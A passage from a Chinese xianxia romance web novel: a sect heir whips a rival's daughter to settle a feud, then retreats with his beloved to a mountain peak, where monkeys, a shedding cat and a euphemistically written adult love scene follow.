顾怀瑾垂眸,将那九节铁鞭打开,鞭子叮铃叮铃坠到地上,他啪地在地上抽了一下,击得碎石飞溅。 衡青南:“少掌门,你我此前说好,若是由你来惩罚小女,仅限三鞭。” 顾怀瑾颔首:“掌门放心,一鞭也不会多打。” 衡黄单膝跪在习武堂前空地中央,昂着头,头上的金嵌玉步摇在太阳下闪烁: “少废话,要打快打!” 顾怀瑾将那九节鞭在空中倏地一抡,霎时一阵咻咻风声,九节鞭子游蛇一般扭曲攒动,四面八方咬在衡黄身上,四周一片尘土飞扬。 她身子顿时抽搐几下,红唇紧咬,一声不吭。 虽是一鞭,可是抽得巧,一鞭便打了三四下。 衡青南大怒:“顾少掌门!” 顾怀瑾绑了绑手柄底下的红绳,平静问:“怎么了?这不过是一鞭。” 衡青南食指中指合并,指着他鼻尖,连胡子都在颤:“顾姓小儿……!” “好了爹爹,别废话!”一鞭子下去,衡黄额头上满是大颗大颗的汗珠,太阳穴青筋都蹦出些许,但依然笑着,“就凭他,还能打死我?快打,没时间陪你玩!” 顾怀瑾冷笑一声,又是两鞭。 九节鞭游窜得叫人看不清踪迹,南琼霜在屋檐底下站着,都感到风劈在面上,几乎斩断了她的发丝。 连房上瓦片都被波及,碎裂开来,摔碎在地。 那三鞭,顾怀瑾用了十成功力。 南琼霜置身事外,笑着想,这三鞭,也难为她熬得下来。 三鞭过后,衡黄连脸上都刮出两道血痕,顺着往下淌血。 撑着膝盖,勉强站起身,全身关节抖得不成样子,脸上毫无血色,整个人如一只残破的纸鸢。 神色却依然傲着:“行了吗?两山之间的账清了?” 顾怀瑾目光往她脚下一扫,见她脊梁骨虽然笔直,脚下却已经滴滴答答溅了不少血点,垂下眼,将九节鞭对折收好。 他朝远远躲着的南琼霜望了一眼,示意她过来,温和问:“行吗,皎皎?” 衡黄见他那关切神色,恶心得差点一口吐出来。 南琼霜含着笑,微微点头。 顾怀瑾朝衡青南、衡黄各自抱拳:“多有得罪,请即刻下山。” 衡青南:“便是你叫我留,衡山派之人,此生也再不会踏足你们天山一步!” 顾怀瑾颔首:“那么,一路顺风。” 第84章 九曜逆轮被人无端开启又无端关闭,说明阴阳钥,在山上短短出现过一次,又消失了。 整个天山派的人,为了那阴阳钥究竟落入何人之手,争执不休。 山内大会整日整日地开,长老们一致要求顾怀瑾守在论事殿内,夙兴夜寐,遍搜全山弟子,一间房一间房的查,不查出来,决不罢休。 顾怀瑾置若罔闻,留下一句“长老们若要查,顾某应允”,几日后,与南琼霜搬上了朝瑶峰。 南琼霜也没想到顾怀瑾放手放得这样干脆,不是从前凡事都他来兜底、他来负责,好事坏事都由他来担的吗? 顾怀瑾沉默许久:“皎皎,其实你坠入瀑布那日,现场并不只有伊海川一人。十几个弟子在瀑布旁饮酒论剑,都听见了你们那的动静,无一人来帮忙。” “那些弟子,从前也都受过我的恩。虽说是忌惮衡山派,但到底是见死不救。我有些寒心。” 南琼霜也叹了口气,去牵他的袖子。 “何况,他们要查,我也不是不放权让他们查。谁牵头,谁安排,有事情到峰上报告我一声便是。难道真要我一辈子扑在论事殿里?” 她听了,也只是默然:“那么,我们上朝瑶峰,或许你会开心些。” 衡黄下山后不久,她与顾怀瑾搬上了朝瑶峰。 朝瑶峰乃是顾氏禁地,与玉霄峰、含雪峰以三根铁索彼此相连,地势险峻孤绝。顾怀瑾带着她,自上峰天梯登山,用了整整一日,方到达峰上两人住处,明月阁。 明月阁已经被人修缮打扫一新,光洁阔朗。因着峰上地势比下面更高,下面已是仲夏时节,峰上山花才刚开。满山的樱花树,山风一过,花片扑落纷飞。 顾怀瑾在一旁放东西,南琼霜站在支开的花窗前望出去,只见窗外云海茫茫,成行的仙鹤头顶一点红,自云雾里穿梭来去。一阵风来,樱花落得下雪一般,吹入云中,看不见了。 当真是神仙般的地方。 眼光一瞥,一旁翘起的檐角上,坐着一只猴子,浅色的眼睛叽里咕噜乱转。 “咦,有猴子。” 顾怀瑾闻言,走到窗边探身看了一眼,与那猴子对视一瞬。 “离它远些。”他摸摸她后背上的长发,“朝瑶峰不常有人住,猴子野得很,都不怕人。” 她回头:“白糖呢?” 宋瑶洁临行前嘱托过,因而她将那白猫带上来了。不过她向来不喜猫儿狗儿的,虽说是带了上来,也不过是丢给了顾怀瑾,交给他操心。 “刚才进来时放到地上了。这一会不知道跑哪去了。猫胆子小,换个地方便得缓缓,可能躲起来了吧。” 顾怀瑾东西仍未放完,把行囊打开,一件件拿出来,笑,“我把你要下山时,给你准备的东西也都带上来了,是你喜欢的簪子之类。” 她随手一指,“放那吧。”看了一圈,没看见白糖,嘟囔着,“哪去了,那猫呢?这么高的地方,别不小心摔死了。” 顾怀瑾忙着将东西归位,没回答。 向阳的一面,有一座阳台。她走到那阳台上,见那通体雪白的猫儿,蹑手蹑脚地藏在栏杆之间,警觉仰着头。 栏杆上,蹲着两只猴子,一齐与白糖对视着。 她问:“猫跟猴子打架吗?” 顾怀瑾往这边看了一眼,摇了摇头,捏着两片小鱼干走过来,朝猫儿招手。 两只猴子顷刻锁定了那小鱼干,贼眉鼠眼盯着。 南琼霜顿觉不妙,“你等等——” 话未落地,两团棕色的残影风驰电掣奔过来,四足踏地,跑到顾怀瑾面前伸手一揪——攥着两条小鱼干跑了。 白糖吓得喵呜一声,浑身的毛都竖了起来。 顾怀瑾揉揉眉心,本来是想循循善诱地叫白糖回来,眼下无可奈何,将那猫儿强抱了起来,“你看。所以,当心些,别被抓到了。” 抱着瑟瑟发抖的猫,转身回去。 忽然又被南琼霜抓住了袖子。 南琼霜打着哆嗦,抓着他的胳膊往他身上靠,脸往他怀里躲着,手指着栏杆:“怀瑾……” 他吓了一跳,回身看去。 两只猴子和谐友爱地将小鱼干平分了,一只蹲在栏杆上抠脚。 一只蹲在一旁,显然是公猴,低着头,玩自己的…… 两只手搓着,若无其事地与他对视。 顾怀瑾脑子里嗡的一下。 她笑得受不了,捂着脸往他身后钻,“你看,你看那是在干什么啊,怀瑾……” 顾怀瑾一把将她揽回身,捂着她眼睛:“皎皎,别看。” 脸上腾地红了。 她笑得实在是止不住,上半张脸都被他覆在手掌中,睫毛在他掌心扑扇着,搔得他心痒难耐,“别看了,笑什么笑,回屋去。” 顾怀瑾难得对她语气严厉些,她不恼,只觉得有趣,拿下他的手来,见他整个人羞恼得红透了,变本加厉地逗他:“那是在干什么啊。我不懂。” 摇着他的手撒娇,黏黏糊糊地求他,“怀瑾,给我讲讲呗。” “我……”顾怀瑾深吸了一口气,简直是百口莫辩,“我讲什么讲!别胡闹,快回屋去!” 她最爱看他生气,尤其是一面害羞一面生气,继续装委屈,“什么嘛,问问你罢了,怎么这样凶。” 她一委屈,他当即止住了话。 半晌,他心神俱疲,长叹了一口气:“……没有,怎么是凶你。听话,外面凉。” “那你反应怎么这么大?”她腾地从他怀里直起身来,越过他肩膀去看后面的猴子。 那猴仍然没停,心平气和地与她对望,也不知怎么还能那样心平气和。 她又绷不住,大笑起来。 顾怀瑾黑着一张脸把她转过来,扯回了屋里,将门仔细关上。 “都是孽畜。皎皎,你……”他深吸一口气,斟酌许久,“……你非礼勿视。” “猴子!猴子你也要用孔夫子那一套?” 顾怀瑾实在语塞,见她笑得那样开心,也瞧出她是有意作弄他,气得笑了一声,捞起白糖,悬在床榻上方,示威似的望了她一眼。 她的笑当即停住了。 “你敢。”她不敢置信,冷笑着,“我说过了,养是养,绝不容它上榻。” “那你别笑了。”他不松口。 她又绷不住,笑出来,话却继续装委屈,“什么嘛。我不过问问你,你不解释,还这样……你知道我最讨厌掉毛的东西。” 她一撒娇,顾怀瑾就好像拳头打在棉花上。 他无可奈何地把白糖放在地上,强装镇定去把窗子关了,隔着雕花的空隙一看,那猴子总算消停了,长出了一口气。 他哭笑不得走回来,打开书柜,瞧瞧他点名要的佛经和笔墨纸砚是否都已备齐,一面道: “我再从下面,点两个人上来吧。一个丫鬟给你,一个侍仆给我。不然,一开窗子,满地的花瓣,你又该不喜欢了。” “嗯……随你。”她平躺在榻上,无所事事地望着天花板。 “有时候,我可能还需下去开会。到时,可能一整天都不在,你自己一个人,也需有人陪着。” “一整天?”她看着自己的指甲,心不在焉,“朝瑶峰陡峭,何必单日往返,不要勉强。” 他又拿出一册书,看了看书背上的字,放回去,“你不想我?” “才多少日子,想什么想。” 他垂下眼睫,沉默了两刻。 “我们什么时候订婚?”他平静问。 南琼霜眨眨眼,缓缓坐起了身。 他依旧挨个看着书柜中的书,仿佛只是随口一问。 “我父母是早已去了的。所以,看你。” “那么,下个月。”没怎么想,话便脱口,显然是已经思量了许久。 她答得轻松:“好。” 顾怀瑾仿佛松了口气似的,走到榻边坐下,深深拥住她,手扣在她后脑上,摩挲着。 他总是很依赖她,南琼霜已经习惯,伸手在他背上轻轻拍着:“……好啦。到朝瑶峰上来,开心一点了吗?” “是啊。”他低低道,怀里的人软得让人无法心安,他搂着她,控制不住地一直用力,“看不见山下那些人,轻快许多。眼下我见到人就烦。” 她笑起来,蹭了蹭他的头,“其实,我也一直想不通你如何能十年如一日地鞠躬尽瘁。自我上山第一天就看出来,慧德那样待你……你都不怨。” “我是无所谓。”他将头埋在她颈窝里,小动物似的依偎着她,“都是为了山上,担着这个担子,做的自然要比别人多些,我受点委屈没什么。但是……” 她知道他要说什么,安慰着摸摸他的背。 “但是……人人都苛待你。我那样护你,慧德不是看不出来,结果还是依旧害你。”他冷笑一声,“尊他为师叔,倒还真敢骑在顾氏头上了,他忘了他的地位,是谁给的。” “还有宋瑶洁。”他道,“我们同门十多年,一直以为她虽然严厉一些,偶尔爱拿资历压人,但人并不坏,不至于害人。不想,竟然想借衡黄之手杀你。” “心思倒是很阴,晓得衡黄的脾气可以利用,于是借刀杀人,还将自己撇得干净。”他声音越发阴鸷,一字一字,几乎是从齿间挤出来的: “我当时找你,将全山翻了个底朝天,后来找到她那去,不知怎么,总觉得你在她那里的密室后。你不知道我当时是怎么忍的——本来打算将密室打开就杀了她,一剑刺死。” 她想从他怀里退出来,看看他的脸,不想被他抱着,动弹不得。 “我才发现,一心为所有人好,结果是人人拿我当软柿子捏了。”他轻笑起来,玩着她后背长发,一缕一缕地顺着,“原来好人当到头,是这样。” 她没说话。 这些日子,他似乎对山上人失望已极,心灰意冷,从前一心为别人好、见到人好比自己好还高兴的人,如今见了谁,都是神色恹恹。 她叹气,“怀瑾,有句话我早想说了。” 第85章 “一心为人之前,须得先为自己。” “或许你性子格外大度些,处处为人好,不怨怼、不标榜、不计较,不论人如何对你,你都一概无私对人。但是……有些人,这样对他,他不仅没有感激之情,反而以为你是软弱,以为自己本事大得不得了。” 她蹭了蹭他的头,贴在他耳边道: “人与人不同,本就不能一概而论的。有些人心中有数,以善报善,你下回便还是好好对他;有些人不知道自己几斤几两,这次受了你的好处,下回又想继续占你的便宜,你何必继续给他这个面子?” “你就算给,这一回后,还有下回,下回还有下下回。早晚要踩到你的底线,你不若从最开始就别给他这个脸。” 他许久没有说话。 “还有,你当真是……太过自抑,凡事几乎只考虑别人,不考虑自己。” 那时为了逼他说一句“不准下山”,她不知耗了多少功夫跟他死磕,她现在想起来还是头痛,叹了口气: “你不替你自己考虑,都不委屈的吗?慧德那样不公,你也能安静忍他那么多年;李玄白冷嘲热讽,你也不计较,有时还帮他说情。还有,你明明早就想吻我,却非要……” 他忽然撤开半寸,垂着眸,深深又缱绻,仔细望着她眼睛: “你早就知道我想……?” “对,”事已至此,她也不瞒着了,“我早就看出来了。其实你早些吻我,我也不会说什么……” “因为你早就喜欢我?”他劈进话头打断。 他仔细听的竟然是这个,她翻个白眼。 “……但是,倘若李玄白不喜欢我,你还会忍多久?怕是会真的忍到我服了忘忧散下山。” 他沉默听着。 “倘若李玄白没有吻我……” “皎皎。”他语气很生硬。 “倘若李玄白没有吻我,你还不知道要退到什么时候。” “皎皎。”他搂着她的手臂更紧了些,几乎有意在箍她。 “我说的不对吗?”她不依不饶,靠在他怀里,手指顺着他的下颌滑过,一面安抚,一面挑衅,“所以凡事你都落了李玄白一步。他……” 忽然声音塞进喉咙,她身不由己地“唔”了一声,两片唇被人含在唇间搓碾,他鼻子缠绵地与她的鼻尖厮磨,闭着眼,滚烫的呼吸扑在她的人中。 手上用力,缓缓将她推得躺倒在了榻上,两肘撑在她身侧,捧着她的脸。 她微张开了口迎合,没想到,这回这人竟然撬开了她的齿关,不止唇相互黏合着,连舌也闯入纠缠。 黏湿的温热的舌,缠绞着她的舌尖,微妙的颗粒感。 她受不了,几乎完全被他的掌控压倒了,身不由己地仰起头,喉咙里难耐地哼了一声。 那一声,他仿佛浑身过了一遍电,大拇指将她下颌再推得高了些,方便他深吻。 一只膝盖,虎视眈眈地抵开她双膝。 “好了,你……”她偏开头,勉强抽身出来。 顾怀瑾一根大拇指将她的脸又推回来,一点也不容她逃避,口里一面啮咬,一面含糊道: “原来早就瞧出来了的。那还跟他混在一起?为什么?就为了激我?” 完了,她恍恍惚惚睁开眼,见他动怒地皱着眉,心里道,完了,这不是露馅了吗? “既然早就心知肚明,那你答应了我就是,你若肯答应我,我又怎么会比那竖子慢一步?!好好地待你,事事问你的意见,你就又要下山、又要失忆,还要跟那竖子一同下山,非逼到我无路可走——” 果然,逼他打破原则,强留她在山上,他至今心中不安。 “逼得我什么也不顾,这些年如何做人都忘了,事事对你用强。结果到头来,你喜欢这样,是吧?” 他气得笑了,胸膛嗡嗡喘着,抬起头来,“问你意见,你倒不喜欢,真是不分好赖,不识好歹。” 她气道:“你说谁呢?!” “说谁?”他笑,低下头又去吮她的脖子,“就说你。” 鸡皮疙瘩带着酥麻将她淹没,她受不住,嘶着气哼了一声。 那一声哼喃,他听着受用极了,变本加厉地吻下去: “救你,对你好,到头来,还不如亲你脖子来得快。” 这是什么话。她笑得几乎咬着牙,忽然感觉颈侧那股令人眩晕的热度之外,又凿了两排牙印。 她倒吸一口气:“又咬我!” “咬的就是你。”他勉强吞咽了一下,在那牙印上用唇再度缓缓地磨,“欠收拾,早说啊。” “谁欠收拾?”他现在竟然这样对她说话。 “你。” 她气得又长吸一口气,恨恨握住了,手上用力: “你再说?!” “你。” 他伏下身来,不仅不避,甚至迎了上去,知道她脖子最敏感,有意把喘息都喷进她颈间。 她脑子里嗡的一声,似乎其他感官都被裹住蒙上了,唯有脖颈间的皮肤,被炙烤得难受,带得全身都难以自控。 “喜欢抓,那抓啊。”他把她的小耳坠摘下来,整个含住了她的耳垂,用力吮吸,啧啧生响,“用力些,再用力。要不要我教你?” “你如今……!”她挣扎起来,偏开头躲着,在他肩膀后背一阵不甘地猛敲,“你如今怎么这样!” “不是喜欢我这样吗?这是你自己选的。”他一路从她耳朵底下又吻上来,在她脖子上印出一行水痕,手下去握住了她的手,逼着她攥紧了,“不是这样用的,这样轻,不行。” 在她耳边呵着气,她一阵叮——的耳鸣:“你得动起来。” 她咬着牙笑,“你想要?” “想。”他斩钉截铁。 她这辈子最喜欢别人想要什么,她偏不给什么。 登时撒开手。 顾怀瑾早料到她会如此,哪里会放过,抓着她的手又按回来,带着她一起推拿。 她只是喜欢演被强迫,不是真的喜欢被强迫,不甘心就这样由他摆布,想了一瞬,软着嗓子道: “不要,怀瑾,我不喜欢嘛。” 她陡然服了软,顾怀瑾瞬间停了下来,头埋在她颈窝里,难耐地一呼、一吸。 张开口,牙又威胁似的搭在了她皮肤上。 她蹭蹭他的额角,“今天不要,好不好。” 她长发一旁的床单,缓缓被他抓得皱了。偏头一看,他冷白的手背,青筋凸起一根,不知用了多少神智,才这样堪堪停下。 连脖子,也泛了红,一根细蛇般的脖筋突突跳着,下颌骨绷得死紧。 她得意一哂。 你看,顾怀瑾这个人,就算逼到了头、拆穿了她的老底,她一撒娇,还是会忍,还是对她心软。 她闭上眼睛,去吻了吻他那根暴戾的脖筋,仿佛去吻一只服膺于她的凶兽。 逼他,逼得他失控,然后服软,看他心软。 这一套伎俩,她百试百灵,左右逢源,有恃无恐。 他不知权衡沉思了多久,终于,哑着声音,将她的头拨过来,叫她直直看着自己。 “那么,哪天。” 他原本生得就白,一动情欲,眼尾艳得吓人,一片迷离暧昧的颜色,仿佛上了胭脂,存心勾她。 睫毛压着黑漆漆的眼睛,声音不由分说: “哪天,说。” 她倒吸了一口凉气。 连撒娇也不管用了?这人…… “如果不是我,那就你。” 他从容如常地去解她腰上的系带,手指动得熟稔又耐心。 什么叫“不是我,那就你”? 她腰上的带子顷刻被解开,裙子当即散了开去,她太阳穴狠狠一跳,赶忙将裙子又捂了回来,惊道:“你做什么?!” 对上他的眼睛,那双眼睛,执着沉沉,不似玩笑。 一双手,竟然直接从裙底,缓缓地钻了上来。 她脑子里轰地一声响,鸡皮疙瘩窸窣着爬了满身,闪电似的把他那只手按在床榻上,惊魂未定。 他真是疯了?他这人现在…… 他……他从前那样…… 她还以为就算天塌下来,他也不会在订婚前动手动脚。 她面对顾怀瑾,一向游刃有余,她那种如鱼得水,顾怀瑾也是知道的。 不仅知道,而且时时有点愤恨。 如今,她好不容易惊慌一把,他好像忽然见那波澜不惊的观音菩萨动了心。 霎时,想起很久以前,他的一个梦。 梦里,菩萨唇点丹朱,身上两点。 一个妖戾、诡异、疯狂的三角形。 他咬着自己的唇,焦渴地吞咽了一下。 三角形。 她确实,唇也是红的。 南琼霜不知道他在想什么,只是心惊胆战地,看见他青筋凸起的微微泛红的脖颈,喉结不祥地,缓缓滚动了一下。 她心里仿佛巨石滚落。 他喘息着,空气自肺腑悠长地磨进磨出,仿佛压抑着难耐的痛苦: “我,或者你,你选。” 眸子里泛着水色,眼尾带着红意,汗珠晶莹剔透,怎么看都是旖旎疏艳的情态,然而手背青筋暴起,嗓音喑哑浑浊。 他真是变了。 如果她今日…… 如果她今日……不给,给出去的,是不是就是……她? 她被这个念头吓了一跳。 这么早?她甚至还从未想过。 但是,她气笑了,想不到有朝一日,一直被她盘弄于股掌之间的人,竟然蹬鼻子上脸,攻守易势,开始威胁她了。 好啊。威胁她,她不怕。 但是,倘若他真逼她帮他,她会让他知道什么叫钝刀子割肉,什么叫任人宰割。 她笑了起来:“你当真想要我帮你吗?” 他气喘着:“对。” “如果我不帮,你就要……”她捏了一下他的手,“……作弄我?” 他答得利索:“对。” 她莞尔,“好。”不自觉地吞咽了一下,手径直去解他的玉带,“我帮你脱,还是你自己脱?” 顾怀瑾没想到,她会这样平静地,接过他的挑衅。 更没想到,她一旦将他的威胁坦然接过,手足无措的,就是他顾怀瑾。 他的声音在喉咙里哽了一瞬:“……什么?” 她看出他的茫然,那是有点骑虎难下的尴尬。 心中得意,直接去解他的腰带。 顾怀瑾条件反射地想去按住她,咬着牙,没有动。 她好笑地看了他一眼。 早说过了,用这招数来逼她,比较慌的,会是谁啊? 她推了推他,示意他从她身上起来 ,手往枕头上一指,“躺那。” 几乎是一瞬间,她脸上那点无措和惊慌便消失了,又是她面对他一贯的得心应手。 他忽然更加不甘。 情难自禁的,只有他一个,凭什么?! 高台已经架上了,他断断不打算偃旗息鼓,依言松开她,缓缓靠在床头的靠枕上。 云海中忽然飞来一只怒气冲冲的红鸟,也不知道她哪句话惹得它那样生气,站在窗外,吭吭吭地啄着窗棂。 她垂眸,笑着打开窗子,将那鸟儿迎进了屋,拿在手上。 气势汹汹的,一只鸟儿罢了,不知道的,还以为要吃了她。 那鸟儿自云中穿梭而来,鸟羽上已经披了不少水珠,脾气似乎不大好,但对她还算乖顺。 她握住那红鸟的长颈,自雀头往下顺着抚摸。那鸟儿便昂首伸颈迎着她,一种杀气腾腾的期待。 顾怀瑾靠在软枕上,整个人如片片桃花敷满的水面。 他不知道,他那幅生而无望的样子,落在她眼里,更加惹人喜爱。 初见时落花满襟,仿佛谪仙,如今在山上说一不二的人,怎么落到了她手里——就成了这个样子。 天呐,他真好玩。 她凑过去,凑到他脸侧,磨蹭他的眉毛,软软的鼻尖刮着他的鼻梁: “喜欢吗,怀瑾?” 他紧咬着唇,不肯发出一点声音。 她于是去吻他,唇在他唇上轻轻地贴,好声好气地哄:“别咬自己嘛。” 他又吞咽了一下,闭上眼,去迎她的嘴唇,越是受不了,越要报复回来。 她浅尝辄止地吻,吻了一下,便退开,手指刮了刮那脾气火爆的鸟儿,婆娑的雀目,“听说你的同门,从前给你写过两句诗——” 到他耳边,吐气如兰: “——‘世上有明月,不问人间事’?” 在那雀目上按了一下。 鸟儿浑身哆嗦了一下,一声鸣啼也发不出。 “说话呀,乖。”那红羽的鸟儿直腾腾的,脾气如此暴躁,她怕那鸟将自己气坏了,将它的长颈掌进手里,由上而下又由下而上,推刮着替它疏通筋脉,“怎么不说话,是生气了吗?不提李玄白,也生气吗?” “皎皎。”他抬起头,一字一字往外吐,“你少激我。” 她委屈地撇撇嘴,“什么呀。它也生气,你也生气。人家李玄白可没有你这么爱发火。” 他难以置信地看了她半晌,忽然明白,她不过又是在故意气她,连句废话都懒得说,两只手环过她的背,将人压在怀里,捧起她的脸掰过来,大拇指将她下巴推高,径直咬住她的唇。 一片啧啧水声。 但凡提到那桩事,他绝不可能轻轻放下。 她被他纠缠得头昏脑涨,头仰在他臂弯里,缺氧得连天花板的花纹都看不清了,不知过了多久,终于得他宽宥片刻。 没等她喘口气,这人又循着她颈项,一路报复地吻下去,手在她背后揉着,一面抚摸,一面缓缓地,拨到了她胸前挂着的红豆项链。 她那串项链宝贝得紧,连自己也不敢随意碰的,忽然被人一拨,吓得浑身冷汗湿透,睁开眼睛,“怀瑾……!” “噢,”他喘着气,笑得恍然大悟,“皎皎也会慌啊。” “你别闹了!”她真恼了。 “怎么?”他鼻梁蹭着她肩膀,在她领口的皮肤上吻着,“不是揶揄我?笑话我?不是很开心吗?不是……” 在她的红豆项链上有意碾磨,轻轻落吻,“……这样才公平啊。” 她登时沿着那红鸟脖子一圈羽毛,恨恨环刮了两圈。 他太阳穴青筋怦怦跳动,仰起头来,不说话了。 看着倒在靠枕上的人,她真是心有余悸,闭了闭眼。 这样下去,他自然是跑不了,可是她又能闹到什么好? 他学得太快了。 这种事情,他怎么学得这么快?! 她不敢再惹他,也不敢再挑衅,看着他脖筋暴起,一根粗壮的血管凸起来,连到锁骨,也不敢再有什么亵玩之意——怎么攻守易势成这个样子,几乎势均力敌了。 如果聪明,她现在该安分守己些。 顾怀瑾做梦也想不到,人世间还有这种滋味。明明并不气馁,可是控制不住地哀哀叹息,明明不算痛苦,可是不论如何,都很痛苦。 最要紧的开关被人拨来把去,他仿佛低估了烈马的没见识的人,毫无办法地颠三倒四,甚至缰绳——还是他自愿,交到那不怀好意的车夫手上的。 他束手无策,身如浮萍得几乎心慌,坐起身来,抱紧了她。 他那幅脆弱又情动的样子,落在她眼里,格外惹人怜爱,她在他唇上吻了一下: “怎么?不是自己也……?” 那不一样。 他抵着她的额头,失神地,痴痴望着她花一般的双颊。 那不一样。 有了她,才知道,此前他自己那些尝试,跟她相比,只能算隔靴搔痒。 不治本,不解渴,越搔越痒,越搔越念着她。 ——什么也不及她。 他缓缓地,筋疲力竭地放开了她,喉咙干涩,卡出两个字: “皎皎。” 她皱起眉,“你都……我衣服脏了。” 一抬眼,见他懒怠垂着眼,几乎是痴缠地,望着她。 那种眼神,滚烫黏腻,湿润阴滑。 开了一口荤的人。 她心里咯噔一下。 他牵起了她的五指,大拇指在她手背上缓缓刮着:“皎皎……再来一次?” 第86章 南琼霜这些日子在朝瑶峰上,整日无所事事。她一贯疲于奔命,突然歇了下来,还有些不大适应。 连顾怀瑾这个大忙人,自从上了朝瑶峰,也比从前清闲许多。山内公文日日自峰下递上来,但一次只能递那么多,顾怀瑾特意发话,将一些琐事拨给其他长老处理,唯有至关紧要的公文,方送上朝瑶峰,由他过目。 一时,两个素来忙得脚不沾地、连梦里都在思量对策的人,突然停了下来,发觉无事可做。 一日,她被窗外直射的日光晒得醒了,睁开眼睛,眼前尽是日光灼出来的红印子,迷迷糊糊地去摸床榻另一侧的人。 床榻另一侧早空了,连衾被都叠得整整齐齐。 见她动弹,顾怀瑾回身望了一眼,复回去描着他那张字帖:“醒了?” “嗯。”她从日光底下挪走,幸好,他那侧的床榻还凉快着,丝绸床单触手滑凉,“几时了?” 他拿着毛笔往窗外一指,笑,“瞧瞧,日上三竿。” 日上三竿?她腾地坐起来。 她这辈子,还没有睡到日上三竿过。 他含着笑,头也没抬,“到这里之后,皎皎似乎睡得更好了些?” 或许是吧,她转头望着窗外千山。 今日天色大好,太阳白花花的,挂在天顶,整个天空是一片澄澈的湛蓝。整日里萦绕在峰间的云雾也消失了,露出里面嶙峋峻峭的山岩。 她依旧懒得动,趴在枕头上看他。 他正微俯下身临帖,毛笔竖得笔直,手腕悬得四平八稳,一笔一划,工整写着。 身后便是雕花窗棂,蔚蓝天色下一树烟霞般的樱花在窗子里颤动,花枝一摇,落花如雪。 垂着眼,长睫翕垂,人如玉山一般。 她眨眨眼。 倒是生得真好看。 不过,今日倒是正常了,眼尾那些艳色褪去,他不动情的时候,旁人来看,几乎高不可攀,人再亲善,也难以接近。 她笑道:“你累么?” 他不明白她意在何处,依然专注写着,“什么累?” “昨天。”她有意揶揄,“腰酸不酸?” 他知道她故意作弄他,无言以对地横了她一眼,“胡说什么,一天而已,谁会腰酸。” 她一下子笑开了,趴在床上懒洋洋道,“ 口出狂言,你瞧着以后吧。” “以后?” 他瞥了她一眼,见她毫无觉察,悠哉悠哉地趴在枕头上荡着腿,把后面的话咽下了。 阳光底下,她腰上裹着衾被,上面一层纱衣,勾勒出细腻匀亮的背脊,背沟微微下陷,一直延伸进丁香紫的衾被里。 在那衾被里,或许有一对……圆圆的,腰窝。 以后,不知道腰酸的是谁呢。 他若无其事地瞥开眼。 忽然,她一摇一晃的腿僵住,两根手指一掐,颤巍巍地举起什么,对着光看。 尖叫一声:“猫毛——!” 远处的白糖喵呜一声,款款走来,将头抵在顾怀瑾腿边蹭着。 他蹲下去,爱怜不已地摸那白猫的小下巴,一边笑,“猫儿哪有不掉毛的,不都是这样。不是皎皎要养的吗?” 她跪爬到榻边,捏着兰花指将那根毛悬在榻外,忽然又改了主意,两三步跪爬到窗边,打开窗,将那根毛恨恨丢在山涧里。 “能不能给它剃了?”她一双手左右在白糖周围比划,“剃到,留两只耳朵,脸上留一圈……” 白糖嗷一嗓子,听懂了似的,钻到顾怀瑾和桌子的缝隙里,隔着他瞪她。 顾怀瑾将笔搁下,把那白糖抱在怀里,一下一下抚着,“猫怎么能剃毛?成什么了。别闹。” 简直是胳膊肘往外拐。 她叹了口气。早知道这东西如蒲公英一般,她就不该答应宋瑶洁。 她无可奈何,下了榻,在各处翻翻找找,顾怀瑾一头雾水看着她。 她自衣柜深处山一般的衣物里,耗子似的刨了半天,终于从最底下扯出来一件长条状的东西,顺带着拿起了一旁的针线。 顾怀瑾捏着白糖的爪子,让它挠了挠自己的小猫头: “这是做什么?” “钩毛线,缝衣服。”她叹气,她那一手好女红竟然用在这地方了,“给它套上,免得满屋掉毛。” “为什么是白的?人家本来就是白猫。” “……” 这是宋瑶洁留下来的钩了一半的衣服,谁知道为什么是白的。宋瑶洁似乎审美很差劲,这不是撞色了吗? 顾怀瑾从她那一兜针线里,挑出一卷红毛线,又将那白糖托着肚子拿在手里,掉转过来,给她看它的屁股。 拿着红毛线,在它一双屁股蛋上比了比: “给它缝个猴子屁股吧,多好玩。” 她笑起来,这人准是有点毛病,瞪他一眼,“我给你缝个猴子屁股。” “什么话。”知道她不喜欢猫,他故意托着白糖作势要放到床上,“再说一遍?” “傻子。”她白他一眼,两手向他伸开,“我这衣裳今天刚好要洗,给我抱抱。” 顾怀瑾把猫放下,来抱她。 她笑:“我说猫。” “已经跑了。”他道,说话间坐到她身侧,搂着她的腰,弯下身子,两只胳膊将她卷在怀里。 比她高出许多的人,一抱上她,喜欢把头埋进她颈窝里,侧着头,依恋不已地从她脖子一直嗅进她领子。 细细的鼻息拂动她的汗毛,他所经之处,她身上一阵酥麻的痒。 她明明知道该习以为常,但不论多少次,浑身还是要麻一阵,然而又喜欢他贴着她、磨着她,于是阖了眼,忍着麻痒。 两片微热的唇,爱惜地贴在她颈侧,一点落吻声。 她咬了唇忍着,手也抚上他的背,抓紧了。 “衣裳昨天才换的,又要换?”他呢喃着,又在她颈侧吮了起来,“这么怕脏。那我昨天弄到……” 她不知为什么,一旦脖子被人吮着,人总有点灵魂出窍,话几乎是哼出来的: “……你还知道。那还不快帮我洗。” “不洗。”落吻声啧啧,他舌头挑拨着她颈侧娇嫩的皮肤,软软的唇贴着,“就那样穿。” “你疯了吧……”话是恼怒,语气却有气无力。 “你身上带点我的味道,我才安心。” “傻子,还有什么不安心的?”情人间的低喃,语调轻而碎,她被吻得迷迷糊糊,才刚醒,又有点发困,“大早上的,又在这里黏人。” 他不说话,拨开了她的衣领,得寸进尺地沿着锁骨吻在她胸前大片皮肤上,手按在她腰间,大拇指摩挲着,摸得那里热热的。 她控制不住地出神望着天花板,天青色的房梁摇摇晃晃。 开过一点荤的人啊。 哪怕还仅仅是一口,整个人就已经不复从前。 “你别亲了……”她有点受不了,大早上的…… 他不会昨天刚满足了一番,今天还想? “我们今天去哪?”她已经被吻得有些喘,打算换个话题。 他在她胸前整片皮肤上吻过,又按着她的背,迫使她挺直,从锁骨,一吻一吻印到她下颌。 每一吻,都好像在追杀她的理智,温柔的糖刀子,叫人不知道什么时候就失态。 她身上已经软了,却为了避免更失控,绷紧了身子强撑,将他背后衣衫抓得乱了,喘息着: “怀瑾……” 他倒没有喘。如今更从容不迫的,竟然是他了。 “……去兰台。”他终于放开了她,抵着她的额头,呼吸扑在她面中,“天气好,我们去看星星。” “不想去。”她道,“蚊子多。” “为什么不想去?”他阖着眼,蹭了蹭她的眉毛,“那时候不是说,跟……约好了去玉环台,就是要看星星?” 指的是谁,她明白。可是,她什么时候说过这话了? 她拧起眉:“我可没说过这话。” 